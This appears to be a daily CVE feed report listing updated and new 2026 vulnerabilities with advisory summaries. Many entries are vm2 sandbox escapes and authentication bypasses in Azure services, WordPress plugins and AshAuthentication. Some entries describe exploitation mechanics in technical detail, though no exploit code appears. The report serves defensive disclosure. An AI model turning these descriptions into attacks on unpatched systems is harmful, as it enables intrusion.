CVE-2026-85731	Updated - Fix/version updated		HIGH			go:oras.land/oras-go/v2	### Summary The `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks w...
CVE-2026-85732	Updated - Fix/version updated		MODE			go:oras.land/oras-go/v2	## Summary oras-go's pagination helper `parseLink()` in `registry/remote/utils.go` follows the `Link` response header from a registry without validating the URL's host or scheme. When a malicious registry returns a `Link` header containing an absolute URL pointing to an arbitrary host (e.g., a cloud metadata endpoint), the client makes GET requests to that host from the vic...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85756	Updated - Fix/version updated		HIGH			nuget:SSH.NET	## Summary Default SCP remote-path handling places caller-supplied paths into the command that runs scp on the server. On a shell-based server that command is interpreted by a shell, so an attacker-influenced path that is not quoted to suit that shell can execute as a command as the authenticated SSH user. SSH.NET provides `ScpClient.RemotePathTransformation` to control esc...
CVE-2026-86003	Updated - Fix/version updated		HIGH			go:github.com/coredns/coredns	### Summary CoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch. If an update-capable upstream trusts CoreDNS's source address or authenti...
CVE-2026-86043	Updated - Fix/version updated		HIGH			go:github.com/zalando/skipper	- **Affected component:** `filters/openpolicyagent/openpolicyagent.go` → `ExtractHttpBodyOptionally`; combined with `github.com/open-policy-agent/opa-envoy-plugin` `envoyauth/request.go` → `getParsedBody` / `checkIfHTTPBodyTruncated`. Filter: `opaAuthorizeRequestWithBody`. - **Affected versions:** `<= 0.27.33` (current HEAD `e7d7014c`). The `truncated_body` mitigation was in...
CVE-2026-86071	Updated - Fix/version updated		LOW			maven:com.github.junrar:junrar	## Summary `LocalFolderExtractor` validates only the final canonical file path before extraction. However, `makeFile()` creates intermediate directories one path segment at a time without checking whether each created directory remains inside the destination folder. A malicious RAR entry can make the final file path resolve inside the extraction destination, while causing ...
CVE-2026-88976	Updated - Fix/version updated		MODE			npm:@platejs/core	### Summary HTML strings passed to Plate's core deserialization APIs were parsed in the active document. Certain HTML attributes could therefore trigger browser behavior during parsing, before the content was converted into editor nodes. Applications that deserialize HTML from untrusted or cross-user sources may be affected. ### Impact An attacker who can control HTML la...

Added to CISA KEV today

None in this window.

P1 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-87886	New	7.8	HIGH	Yes		acronis:backup	Local privilege escalation due to insecure file permissions. The following products are affected: Acronis Backup plugin for cPanel & WHM (Linux) before build 1.9.3.1021, Acronis Backup extension for Plesk (Linux) before build 1.8.11.638, Acronis Backup plugin for DirectAdmin (Linux) before build 1.2.3.238.

P2 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54734	New	10.0	CRIT				Prebid Server Java is the Java version of Prebid Server. Prior to 3.43.0, certain bidder adapters interpolate user-supplied parameters into outbound request URLs without using HttpUtil to validate the resulting domain or path segment. A malicious actor who can supply bid-request parameters can cause the server to send HTTP requests to unintended destinations, potentially rea...
CVE-2026-62104	New	10.0	CRIT				Unauthenticated Remote Code Execution (RCE) in Migratico Lite <= 2.6.8 versions.
CVE-2026-69399	New	10.0	CRIT				Azure Arc Elevation of Privilege Vulnerability
CVE-2026-69865	New	10.0	CRIT				Authorization bypass through user-controlled key in Microsoft Container Registry allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-70200	New	10.0	CRIT				Improper limitation of a pathname to a restricted directory ('path traversal') in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-83944	New	10.0	CRIT				Improper access control in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-85889	New	10.0	CRIT				Missing authentication for critical function in Azure AI Foundry allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-92937	New	10.0	CRIT				vm2 3.11.6 is vulnerable to a sandbox escape leading to remote code execution in the host Node.js process. The fix for GHSA-m283-3h24-438v is incomplete: the bridge gate at lib/bridge.js:1624 identity-checks only the direct call target when deciding whether to rebuild/sanitise a rejected host Promise value. Registering the rejection handler through Function.prototype.call or...
CVE-2026-92940	New	10.0	CRIT				vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'f...
CVE-2026-92941	New	10.0	CRIT				vm2 versions from 3.11.3 before 3.11.7 expose the host tls module to NodeVM sandbox code, allowing attackers to call tls.setDefaultCACertificates() and replace process-wide certificate authorities. Attackers with access to allowed tls and url builtins can use URLSearchParams to create host-realm arrays and manipulate the TLS trust store, enabling subsequent host HTTPS client...
CVE-2026-92946	New	10.0	CRIT				vm2 before 3.11.7 contains a remote code execution vulnerability when require.external is enabled without an explicit require.root that excludes node_modules. Sandboxed code can require vm2's own package, instantiate an unrestricted NodeVM instance, and execute arbitrary host OS commands via child_process.
CVE-2026-92947	New	10.0	CRIT				vm2 before 3.11.7 exposes Node's shared Buffer pool to sandboxed code, allowing disclosure of host memory used by Buffer.from, Buffer.concat, and related allocations. Sandboxed code can read and write to host-realm buffers by acquiring ArrayBuffers from small allocations, leading to sensitive data exposure and potential denial-of-service.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92953	New	10.0	CRIT				vm2 versions from 3.11.0 before 3.11.8 fail to protect host TypedArray and ArrayBuffer prototypes from sandbox mutation. Attackers can use prototype-walking primitives to reach and modify host Uint8Array.prototype, %TypedArray%.prototype, and ArrayBuffer.prototype, causing host-created typed arrays to observe attacker-controlled properties after VM.run() returns.
CVE-2026-92955	New	10.0	CRIT				vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.
CVE-2026-92956	New	10.0	CRIT				vm2 versions 3.10.1 through 3.11.6 contain a sandbox escape reachable from a default `new VM()` sandbox when running on Node.js 26. WebAssembly.compileStreaming and WebAssembly.instantiateStreaming can produce a raw host-realm Promise that rejects with a host-realm error object; by controlling Symbol.species via Promise.prototype.finally, sandbox code receives that raw host ...
CVE-2026-92960	New	10.0	CRIT				vm2 before 3.11.6 fails to restrict access to os and dns builtins under the builtin: [*] configuration, allowing sandbox code to read host process identity and network topology. Attackers can invoke dns.setServers() to hijack the host process DNS resolver globally, redirecting all subsequent host DNS queries through an attacker-controlled resolver.
CVE-2026-85885	New	9.9	CRIT				Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an authorized attacker to elevate privileges over a network.
CVE-2026-92938	New	9.9	CRIT				vm2 versions 3.11.3 through 3.11.6 expose Node.js's host node:sqlite module to code running in NodeVM when that builtin is permitted, either explicitly or through builtin: [*]. The module is wrapped with vm.readonly(), which prevents property assignment but leaves host-authority callables reachable; in addition, the resolver treats any request starting with 'node:' as a co...
CVE-2026-92948	New	9.9	CRIT				vm2 versions >= 3.9.6 and <= 3.11.6 are affected by a NodeVM builtin allowlist bypass that permits a sandbox escape on Node.js 24 and newer when the embedder explicitly allows the node:test builtin (e.g. require: { builtin: ['node:test'] }). On Node.js 24+, module.builtinModules exposes the scheme-only key node:test, which is not covered by vm2's family-based DANGEROUS_BUILT...
CVE-2026-45140	New	9.8	CRIT			composer:chamilo/chamilo-lms	Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
CVE-2026-54460	New	9.8	CRIT				OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to 1.1.1, POST /api/auth/passkeys accepts a request-body userID and attacker-supplied passkey without an authenticated session, does not call WebAuthService.verifyRegistration, and does not bind enrollment to locals.userID. An unauthenticated attacker who knows...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54617	New	9.8	CRIT				GravitLauncher is an open-source Minecraft launcher based on sashok724's v3. Prior to 5.7.12, an unauthenticated remote actor can send a raw HTTP request target without a leading slash to the default LaunchServer file server on port 9274. FileServerHandler.channelRead0 in components/launchserver/src/main/java/pro/gravit/launchserver/socket/handlers/fileserver/FileServerHandl...
CVE-2026-54626	New	9.8	CRIT				SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. In 0.9.10 and earlier, the TGA_INDEXED_RLE path selected by image_type == 9 allocates an image buffer using the one-byte-per-pixel SAIL_PIXEL_FORMAT_BPP8_INDEXED format returned by tga_private_sail_pixel_format() in src/sail-codecs/tga/helpers.c, while sail_...
CVE-2026-54627	New	9.8	CRIT				SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. In 0.9.10 and earlier, psd_private_sail_pixel_format() in src/sail-codecs/psd/helpers.c resolves a one-channel PSD in Bitmap color mode to SAIL_PIXEL_FORMAT_BPP1_INDEXED without requiring the file depth to be one, so the pixel buffer uses one-bit rows while ...
CVE-2026-62101	New	9.8	CRIT				Unauthenticated Broken Authentication in EduAdmin Booking <= 5.4.2 versions.
CVE-2026-62108	New	9.8	CRIT				Unauthenticated Broken Authentication in Headless Single Sign On <= 1.7.0 versions.
CVE-2026-86707	New	9.8	CRIT				The Private Feed Key WordPress plugin through 0.1 does not verify that the key used to authenticate a feed request is one it issued, matching any stored user metadata value instead, which allows unauthenticated attackers to log in as any user, including administrators.
CVE-2026-86709	New	9.8	CRIT				The Pressengine WordPress plugin through 1.0 does not stop its login handler from issuing a session when authentication fails, allowing unauthenticated attackers to log in as any user, including administrators.
CVE-2026-86710	New	9.8	CRIT				The Login with QR WordPress plugin through 1.0.0 does not verify that the code used to log a user in is one it issued, matching any stored user metadata value instead, which allows unauthenticated attackers to log in as any user, including administrators.
CVE-2026-87796	New	9.8	CRIT				The Multi Uploader for Gravity Forms plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.1.9 via the move_file function. This is due to insufficient file type validation during chunked upload handling. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make rem...
CVE-2026-90822	New	9.8	CRIT				FatPipe MPVPN, WARP, and IPVPN appliances running the end-of-life firmware version 10.1.2r60p100 contain an OS command injection vulnerability in the xtremed daemon. An unauthenticated remote attacker with access to the affected management interface can submit crafted input to the AuthFormServlet endpoint, causing authentication data to be processed by a shell and allowing a...
CVE-2026-90823	New	9.8	CRIT				FatPipe MPVPN, WARP, and IPVPN appliances running the end-of-life firmware version 10.1.2r60p100 contain a stack-based buffer overflow in /usr/sbin/auth_user_pass. An unauthenticated remote attacker with access to the affected management interface can submit a crafted authentication request that reaches an unchecked copy into a fixed-size stack buffer, potentially allowing a...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92944	New	9.8	CRIT				vm2 versions 3.10.2 through 3.11.6 contain a sandbox escape vulnerability on Node.js 26 where Promise.prototype.finally() bypasses vm2's wrapper protections due to a stale PromiseThenLookupChain protector in V8 14.6. Attackers can exploit this by creating an async function that returns a Promise with an attacker-controlled constructor Symbol.species, allowing them to reach t...
CVE-2026-54053	New	9.6	CRIT				Many Notes is a Markdown note-taking web application designed for simplicity. Prior to 0.16.0, the ZIP vault import implemented in app/Actions/ProcessImportedVault.php accepts archive filenames containing parent-directory traversal segments. An authenticated user can write arbitrary files outside the importing user's vault and into other users' vaults, including overwriting ...
CVE-2026-54752	New	9.6	CRIT				NetBox Device Type Library is a collection of community-sourced device type definitions for import into NetBox. The validation test harness can deserialize pull-request-controlled tracked pickle cache files through pickle.load in the read_pickle_data function in tests/pickle_operations.py. An unauthenticated contributor can change USE_LOCAL_KNOWN_SLUGS in tests/test_configur...
CVE-2026-87701	New	9.6	CRIT				Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Cosmos DB allows an authorized attacker to elevate privileges over a network.
CVE-2026-92934	New	9.5	CRIT				vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and ...
CVE-2026-92935	New	9.5	CRIT				vm2 is a sandbox for running untrusted Node.js code. In versions >= 3.11.4 and <= 3.11.6, the NodeVM constructor computes `hasRealRequireConfig` with `typeof requireOpts === 'object' && requireOpts !== null`, so an array-shaped `require` value (for example `require: []`) satisfies the guard that is meant to reject nesting without an explicit require configuration. `makeResol...
CVE-2026-54501	New	9.4	CRIT				Browsertrix is a high-fidelity, browser-based crawling service for web archiving that can be self-hosted or used through Webrecorder's hosted instance. From 1.15.0 until 1.22.8, Browsertrix improperly sanitizes Git URLs specified as Custom Behaviors, allowing command injection through /api/orgs/*/crawlconfigs/validate/custom-behavior. A user with crawler or administrator per...
CVE-2026-54618	New	9.4	CRIT				Obsidian Web MCP is a secure remote MCP server for Obsidian vaults. Prior to 0.2.0, /oauth/authorize issues an authorization code without a login, consent, or session check, and /oauth/token can exchange that code for the static VAULT_MCP_TOKEN without authenticating a client. An unauthenticated remote caller who can reach the intended tunnel deployment can therefore call /m...
CVE-2026-92939	New	9.4	CRIT				vm2 3.11.3 through 3.11.6 exposes the host Node.js crypto module to a NodeVM sandbox when the crypto builtin is allowed. The module is presented via a recursive read-only proxy, but its callable exports still execute with host-process authority. Sandboxed JavaScript can therefore call crypto.setEngine() with a filesystem path to an attacker-supplied native library (for examp...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92951	New	9.4	CRIT				vm2 before 3.11.7 contains an incorrect authorization vulnerability in the external package allowlist check that uses non-exact substring matching instead of full package-name boundary validation. Attackers can bypass the allowlist by requiring a colliding package name that contains an allowlisted package substring, causing vm2 to load and execute unauthorized host packages ...
CVE-2026-92957	New	9.4	CRIT				vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ requi...
CVE-2026-54237	New	9.3	CRIT				Wavelog is web-based amateur radio logging software. From 1.8 until 2.4.2, Wavelog exposes /install/ajax.php and /install/includes/interface_assets/triggers.php after installation without an installation lock or permission check. Unsanitized input reaches write_config() and write_configfile() in install/includes/core/core_class.php, allowing a remote unauthenticated attacker...
CVE-2026-70009	New	9.3	CRIT				Improper limitation of a pathname to a restricted directory ('path traversal') in Azure Arc allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-86863	New	9.3	CRIT				pgAdmin 4's Webserver authentication source is intended to accept an identity asserted by the web server or reverse proxy in front of pgAdmin, delivered through the WSGI/CGI environment. WebserverAuthentication.get_user() read config.WEBSERVER_REMOTE_USER from request.environ and, when that returned nothing, fell back to reading the same name directly from the inbound HTTP r...
CVE-2026-92950	New	9.3	CRIT				vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.
CVE-2026-15688	New	9.2	CRIT				Incorrect Implementation of Authentication Algorithm Vulnerability in Mitsubishi Electric GX Works3 and Motion Control Setting allows a local attacker to successfully authenticate even with an invalid block password by executing the affected product and modifying part of the executable module in memory, and thereby may be able to view, tamper with, destroy, or delete control...
CVE-2026-79752	New	9.2	CRIT			composer:cakephp/cakephp, composer:cakephp/database	CakePHP is a rapid development framework for PHP. Prior to 4.5.12, 4.6.5, 5.1.9, 5.2.14, and 5.3.7, FunctionsBuilder::cast, FunctionsBuilder::extract, FunctionsBuilder::datePart, and FunctionsBuilder::dateAdd in src/Database/FunctionsBuilder.php accept user-controlled dataType, part, or unit values and incorporate them into generated SQL as unescaped structural fragments. An...
CVE-2026-92943	New	9.2	CRIT				Improper validation of certificate with host mismatch in the MQTT client TLS connection layer in AWS IoT Device SDK for Python 1.5.3 through 1.6.0 on Python 3.7 and later might allow an adversary-in-the-middle actor to impersonate the AWS IoT Core endpoint, read device telemetry, and inject arbitrary MQTT messages that the device processes as authentic, via a certificate iss...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93393	New	9.2	CRIT				A heap-based buffer overflow exists in the TLS transport layer of the MongoDB C Driver when built with the Windows platform TLS backend. A remote endpoint that the client connects to, or an attacker able to impersonate or redirect the client's connection, can cause the driver to write attacker-supplied data outside the bounds of a heap allocation while processing incoming en...
CVE-2026-54670	New	9.1	CRIT				WeGIA is a web manager for charitable institutions. Prior to 3.8.5, the contribution request dispatcher in web/html/contribuicao/controller/control.php accepts attacker-controlled nomeClasse and metodo values without a complete controller and method allowlist, exempts sensitive ContribuicaoLogController operations from authentication, and constructs a controller include path...
CVE-2026-54767	New	9.1	CRIT				WeGIA is a web manager for charitable institutions. Prior to 3.8.5, web/html/socio/sistema/controller/deletar_socios.php exposes an unauthenticated GET endpoint whose chave parameter is checked only against a hardcoded chave_correta value embedded in the public source repository. A remote attacker who obtains that value can reach the endpoint's TRUNCATE TABLE operations for ...
CVE-2026-63472	New	9.1	CRIT			npm:@vendure/core	Vendure is an open-source headless commerce platform. Prior to 3.7.0, ExternalAuthenticationService.createCustomerAndUser in packages/core/src/service/helpers/external-authentication/external-authentication.service.ts selects an existing customer user by emailAddress and attaches a newly presented ExternalAuthenticationMethod without requiring verified to be true. In deploym...
CVE-2026-76949	New	9.1	CRIT				Authentication Bypass by Spoofing vulnerability in team-alembic ash_authentication allows an attacker who can plant a remember-me cookie in a victim's browser to replace that victim's authenticated session with one for the attacker's own account. AshAuthentication.Plug.Helpers.sign_in_using_remember_me/3 skips re-authenticating an already-signed-in visitor by checking the s...
CVE-2026-82761	New	9.1	CRIT				Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in team-alembic AshAuthentication allows an attacker holding a leaked magic link to replay its single-use token and authenticate as the target subject. A magic link configured with single_use_token?, which is the default, is meant to be redeemable exactly once, but nothing serialises the token's validity check a...
CVE-2026-85500	New	9.1	CRIT				Authentication Bypass by Primary Weakness vulnerability in team-alembic AshAuthentication allows an unconfirmed user to obtain a session, defeating a mandatory email confirmation requirement. AshAuthentication.Strategy.Password.Actions.check_user/2 decides whether the attribute named by require_confirmed_with is set using a bare is_nil(Map.get(user, value)). When that attri...
CVE-2026-86533	New	9.1	CRIT				Insufficient Session Expiration vulnerability in team-alembic AshAuthentication and AshAuthentication Phoenix allows a revoked session to remain fully authenticated. A resource configured with session_identifier :jti and require_token_presence_for_authentication? disabled stores its session value as <jti>:<subject>. The jti is there so that signing out can revoke that one s...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88952	New	9.1	CRIT				Improper Authentication vulnerability in team-alembic AshAuthentication allows an attacker to be signed in as another user by linking an OAuth2 identity to an account that is not theirs. AshAuthentication.Strategy.OAuth2.UserResolver.resolve/3 matches an existing account using the register action's upsert_identity keys, then gates linking the incoming provider identity to i...
CVE-2026-91039	New	9.1	CRIT				Authentication Bypass by Spoofing vulnerability in team-alembic ash_authentication allows an attacker who operates one identity-provider connection of a dynamic_oidc strategy to be signed in as a local user established through a different connection. The strategy is meant to keep each connection in its own identity namespace by writing every UserIdentity row's strategy fiel...
CVE-2026-92860	New	9.1	CRIT				A security flaw has been discovered in rcourtman Pulse up to 6.0.4/6.1.0-rc.4. Affected by this issue is the function fmt.Sprintf of the file /api/security/quick-setup of the component Quick Security Setup Handler. The manipulation of the argument Username results in improper input validation. The attack may be performed from remote. Upgrading the affected component is advised.
CVE-2026-45143	New	9.0	CRIT				Chamilo LMS is an open-source learning management system. From 2.0.0 through at least 2.1.0, Chamilo LMS stores private Message.content without server-side sanitization and renders it as HTML in assets/vue/views/message/MessageShow.vue and public/main/template/default/message/view_message.html.twig. An authenticated low-privilege user, including a student, can directly addre...
CVE-2026-47252	New	9.0	CRIT				Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, authenticated users with INSERT or UPDATE access to affected macOS virtual tables can execute operating-system commands because the Chrome plugin and equivalent Brave, Edge, and Safari variants interpolate a SQL-controlled URL into AppleScript or JXA source passed to osascript. In plugins/chrome/tabs.go,...
CVE-2026-77903	New	9.0	CRIT				Authentication bypass by spoofing in Microsoft Dataverse allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-88795	New	9.0	CRIT				The wpShopGermany IT-RECHT KANZLEI WordPress plugin before 2.4 does not generate its API authentication token securely, deriving it from data the requester controls and creating it as a side effect of the check that is supposed to validate it, allowing unauthenticated attackers to predict the token and use the access it grants to write arbitrary files, leading to remote code...

Historical reports are not rewritten when an older CVE changes. A CVE published on an earlier date remains in that earlier daily report; a meaningful change is shown separately in the update section for the date on which the change was detected.